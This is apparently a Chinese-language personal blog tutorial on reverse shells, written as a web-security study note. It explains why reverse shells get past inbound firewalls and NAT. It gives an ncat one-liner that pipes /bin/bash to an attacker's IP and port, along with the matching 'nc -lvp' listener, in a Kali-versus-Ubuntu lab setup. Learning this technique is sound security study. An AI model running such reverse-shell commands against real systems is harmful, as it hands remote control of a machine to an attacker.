学习web安全的那些二三事-反弹Shell篇

反弹Shell也是一个需要掌握的技巧(实际上我也没掌握到多少,还搞得好混乱,只有找题来看看)

在有反弹shell之前,技术人员连接目标机器采用的是老早的传统连接方法,例如有Telnet、ssh、远程桌面协议等等,还有其他的第三方远程管理工具如VNC与一些批处理脚本。这些连接方式可以称为主动连接。

不过,有的目标机器会有一些限制:

  1. 目标机器对连接进行了限制,即允许出站连接,但限制了很多入站连接,这作用与内网无异;
  2. 目标机器的某端口被占用,由于其本身的防火墙策略会导致ssh连接被阻断;
  3. 目标机器的ip是动态的,或者处于内网状态下(即目标机器处于局域网之中,ip地址由NAT管理);

反弹shell就是为了绕过上述条件而产生的,原理就是让目标机器主动连接外部设备。

反弹shell的方法有很多种,包括但不限于python脚本反弹,netcat反弹,bash反弹等等。

:::info

以下图示都是以kali作为攻击机来反弹shell,目标机器是ubuntu或者windows,图示会有说明

:::

netcat反弹shell

这个就比较简单粗暴了:

1
2
3
4
5
6
7
ncat <ip><port> -e /bin/bash
# nc是netcat的缩写,它们跟ncat的不同之处是:
# netcat比较传统,ncat比较现代化,说白了,ncat能做netcat所有能做的事
# 标注一下:ncat实际上是nmap的一部分,由nmap团队维护
# 不过不同发行版的nc似乎不同呢,ubuntu和kali就不太一样
# 比如这个-e,意思是在连接到目标端口后执行某一条命令,不过ubuntu没有这个选项
# 所以最好用ncat

左侧是kali,右侧是ubuntu

(正常情况来说是会显示用户名+主机名的,但是这里不知道为什么显示不出来)

windows应该是自带有bash的,也可以利用其来反弹shell

左侧为kali,右侧为windows powershell

这里说一下攻击机的bash命令

1
2
3
4
nc -lvp <port>\
# -l:监听模式,即nc会监听指定的端口,等待连接;
# -v:详细模式,用于打印更多信息;
# -p:端口号,即输入的监听端口号;

学习web安全的那些二三事-反弹Shell篇

http://luffys93.github.io/2024/07/03/Webbbb/Others/Shell/

作者

Ins0mn1a

发布于

2024-07-03

更新于

2024-07-31

许可协议

评论

:D 一言句子获取中...

加载中,最新评论有1分钟缓存...